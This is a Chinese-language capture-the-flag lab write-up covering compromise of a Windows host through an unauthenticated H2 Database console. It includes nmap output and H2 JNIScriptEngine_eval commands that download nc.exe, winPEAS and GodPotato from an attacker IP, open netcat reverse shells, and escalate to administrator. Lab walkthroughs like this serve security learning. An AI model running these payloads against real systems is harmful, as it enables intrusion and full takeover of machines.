靶场(二十)---靶场体会小白心得 ---jacko
老样子开局先看端口,先看http端口
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: H2 Database Engine (redirect)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
8082/tcp open http H2 database http console
|_http-title: H2 Console
9092/tcp open XmlIpcRegSvc?
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9092-TCP:V=7.95%I=7%D=6/7%Time=6843AA78%P=x86_64-pc-linux-gnu%r(NUL
SF:L,516,"\0\0\0\0\0\0\0\x05\x009\x000\x001\x001\x007\0\0\0F\0R\0e\0m\0o\0
SF:t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t\0o\0\x20\0t\0h\0i\
SF:0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0o\0t\0\x20\0a\0l\0l
SF:\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\0l\0l\0o\0w\0O\0t\0
SF:h\0e\0r\0s\xff\xff\xff\xff\0\x01`\x05\0\0\x024\0o\0r\0g\0\.\0h\x002\0\.
SF:\0j\0d\0b\0c\0\.\0J\0d\0b\0c\0S\0Q\0L\0N\0o\0n\0T\0r\0a\0n\0s\0i\0e\0n\
SF:0t\0C\0o\0n\0n\0e\0c\0t\0i\0o\0n\0E\0x\0c\0e\0p\0t\0i\0o\0n\0:\0\x20\0R
SF:\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0n\0
SF:\.\0j\0a\0v\0a\0:\x006\x001\x007\0\)\0\r\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0
SF:\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0
SF:n\0\.\0g\0e\0t\0J\0d\0b\0c\0S\0Q\0L\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\(\0D\0
SF:b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x004\x002\x007\0\)\0\r\
SF:0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0
SF:D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\0
SF:t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x002\x000\x005\0\)\0\r\0\n\0\t\0a\0t\0\x2
SF:0\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-06-07T02:59:35
|_ start_date: N/A
80端口无突出点,但是8082端口有个连接数据库的登录界面,先直接尝试连接,发现可以直接登录
然后顺便发现了有一个注入远控的命令exp,只需要复制粘贴即可
这里直接展示成果,证明exp可以用
然后就是直接下nc.exe,虽然底下爆红了,但是可以看到有下载回显,但是需要注意的点得有具体的下载位置
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("curl http://192.168.49.53/nc64.exe -o c:\\users\\tony\\nc.exe").getInputStream()).useDelimiter("\\Z").next()');
这里可以看到下载成功了
然后就是直接利用绝对路径进行反连
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("c:\\users\\tony\\nc.exe 192.168.49.53 3344 -e cmd").getInputStream()).useDelimiter("\\Z").next()');
这里也是可以看到可以成功拿到shell
当然如果你不想用tony这个绝对路径,也可以用public这个地方的绝对路径也行
再然后就是在拿到shell之后,我们发现无法下载东西,推测shell受到了限制,但是exe程序可以运行,所以我采取了原先上传nc.exe命令,回到原先的web界面执行下载
也就是执行这个界面,用这个命令下载winpeas和其他利用工具
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("curl http://192.168.49.53/winPEASx64.exe -o c:\\users\\tony\\winPEASx64.exe").getInputStream()).useDelimiter("\\Z").next()');
然后在受害机上执行winpeas工具,发现了可以使用烂土豆提权
再执行相同的操作,上传godpotato
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("curl http://192.168.49.53/GodPotato-NET4.exe -o c:\\users\\tony\\GodPotato-NET4.exe").getInputStream()).useDelimiter("\\Z").next()');
这里可以看到工具成功上传
然后执行godpotato
GodPotato-NET4.exe -cmd "nc.exe 192.168.49.53 1234 -e cmd.exe"
最后也是成功拿到管理员权限
结尾:
这个靶场还是出乎意料的简单,唯一的需要注意的点可能就是下载利用工具比较费劲,但是看到别人的wp跟我的利用手法有点区别,后面感兴趣的话我可以再做额外补充
工具链接:
Release Release refs/heads/master 20250601-88c7a0f6 · peass-ng/PEASS-ng
Release V1.20 · BeichenDream/GodPotato
H2 Database 1.4.199 - JNI Code Execution - Java local Exploit
Online - Reverse Shell Generator